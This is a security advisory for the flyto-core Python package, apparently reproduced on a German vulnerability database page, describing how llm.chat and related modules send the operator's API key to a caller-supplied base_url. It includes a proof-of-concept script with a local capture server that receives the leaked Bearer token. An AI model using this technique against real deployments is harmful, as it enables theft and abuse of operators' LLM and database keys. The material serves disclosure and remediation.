Flyto2 Core: LLM/API keys leak to an attacker-controlled base_url
Summary
llm.chat reads the operator's provider key from the environment (OPENAI_API_KEY, ANTHROPIC_API_KEY, ...) and sends it in the Authorization: Bearer header to base_url, a parameter the caller controls. base_url is only checked against the SSRF guard, and the guard allows any public host, so pointing base_url at an attacker's server hands them the operator's key. flyto-core's own bounty scale rates "environment access exposing secrets (e.g. ANTHROPIC_API_KEY)" as High.
Affected code
src/core/modules/atomic/llm/chat.py (_call_openai):
base_url = params.get('base_url') # caller-controlled
if base_url:
validate_url_with_env_config(base_url) # SSRF check only; a public attacker host passes
if not api_key:
api_key = os.getenv('OPENAI_API_KEY') # operator's key
...
url = (base_url or "https://api.openai.com/v1").rstrip('/') + "/chat/completions"
headers = {"Authorization": f"Bearer {api_key}"}
await client.post(url, headers=headers, json=payload) # sent to base_url
The same wiring (env key plus caller endpoint) exists in ai.model (which does not even SSRF-check base_url), llm.agent, and vector.connector (QDRANT_API_KEY with a caller url). The SSRF guard is the wrong control here: it stops private targets but does nothing about the key being sent to an attacker's public host.
Reproduction
Save as keyexfil_poc.py, run with PYTHONPATH=src/src python keyexfil_poc.py. It sets an operator key in the environment and points base_url at a local capture server.
#!/usr/bin/env python3
import asyncio
import os
import threading
from http.server import BaseHTTPRequestHandler, HTTPServer
os.environ["OPENAI_API_KEY"] = "sk-OPERATOR-SECRET-doNotLeak-9f8e7d6c5b4a"
os.environ["FLYTO_ALLOWED_HOSTS"] = "localhost" # stand-in for the attacker's public host
CAPTURED = {}
class Attacker(BaseHTTPRequestHandler):
def do_POST(self):
CAPTURED["auth"] = self.headers.get("Authorization")
ln = int(self.headers.get("Content-Length", 0)); self.rfile.read(ln)
b = b'{"choices":[{"message":{"content":"pwned"},"finish_reason":"stop"}],"usage":{"total_tokens":1}}'
self.send_response(200); self.send_header("Content-Type", "application/json")
self.send_header("Content-Length", str(len(b))); self.end_headers(); self.wfile.write(b)
def log_message(self, *a): pass
async def main():
from core.modules.atomic import register_all
from core.modules.registry import ModuleRegistry
register_all()
threading.Thread(target=HTTPServer(("127.0.0.1", 8080), Attacker).serve_forever, daemon=True).start()
res = await ModuleRegistry.execute("llm.chat", params={
"prompt": "hi", "provider": "openai", "base_url": "http://localhost:8080",
}, context={})
print("module ok:", res.get("ok"))
print("Authorization received by attacker:", CAPTURED.get("auth"))
if __name__ == "__main__":
asyncio.run(main())
Output:
module ok: True
Authorization received by attacker: Bearer sk-OPERATOR-SECRET-doNotLeak-9f8e7d6c5b4a
Confirmed against the running API as well: calling llm.chat with base_url=https://example.com was not blocked by the SSRF guard, so the request egressed to the public host with the operator key attached.
Impact
Theft of the operator's cloud LLM / vector-DB keys, which lets the attacker bill and abuse those accounts and reach data available to the key. The caller only needs to influence base_url, which is reachable through the MCP agent surface or the hosted API.
Suggested fix
Only use the environment-derived key with the provider's official endpoint. If the caller supplies a custom base_url, require them to supply the api_key explicitly too, or check base_url against an allowlist of trusted endpoints — never auto-attach the operator's secret to an arbitrary host. Apply the same to ai.model, llm.agent and vector.connector, and add SSRF validation to ai.model's base_url.
Betroffene Software
Klicken Sie auf eine Technologie, um alle zugehörigen Schwachstellen anzuzeigen.
| Plattform | Paket | Anfällige Versionen | Behoben in |
|---|---|---|---|
| Python (PyPI) | flyto-core | < 2.26.7 | 2.26.7 |
Verweise
- https://github.com/flytohub/flyto-core/security/advisories/GHSA-qq9q-xgm3-xv9g
- https://nvd.nist.gov/vuln/detail/CVE-2026-67425
- https://github.com/flytohub/flyto-core/commit/d5f89d71303e3c1e6418d347c5c55fcd173cc8cc
- https://github.com/flytohub/flyto-core
- https://github.com/flytohub/flyto-core/releases/tag/v2.26.6
- https://pypi.org/project/flyto-core
- https://github.com/advisories/GHSA-qq9q-xgm3-xv9g
- CVSS-Vektor
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N- Schwäche (CWE)
CWE-201, CWE-522- Plattform
- Python (PyPI)
- Paket
flyto-core- Veröffentlicht
- 30.07.2026
- Aktualisiert
- 11.10.2026 14:19
Quellen und Lizenzen
OSV / GitHub Advisory Database - PYSEC-2026-3573 - PyPA Advisory Database; CC BY 4.0
OSV / GitHub Advisory Database - GHSA-qq9q-xgm3-xv9g - CC BY 4.0
Schwachstellenhistorie: flyto-core
Alle veröffentlichten Schwachstellen dieses Pakets (Python (PyPI)), neueste zuerst. Zeigt, ob es ein einmaliger Ausrutscher ist oder ein Paket, das man im Auge behalten muss.
- Einträge insgesamt
- 8
- Erste → letzte
- 07.2026 07.2026
- Ohne Fix
- 0
- In Angriffen ausgenutzt
- 0
Verteilung nach Schweregrad
- Kritisch 2
- Hoch 6
Veröffentlichungen pro Jahr
- 2026: 8
-
Flyto2 Core: LLM/API keys leak to an attacker-controlled base_url dieser Eintrag
Erkennen Sie Schwachstellen in Ihrer Anwendung
Mit der DockRay-Integration und aktivierter Softwareinventarisierung prüft DockRay gemeldete Komponentenversionen auf bekannte Schwachstellen und benachrichtigt Sie über bestätigte Treffer. Die Abdeckung hängt von der unterstützten Technologie und den verfügbaren Meldungen ab.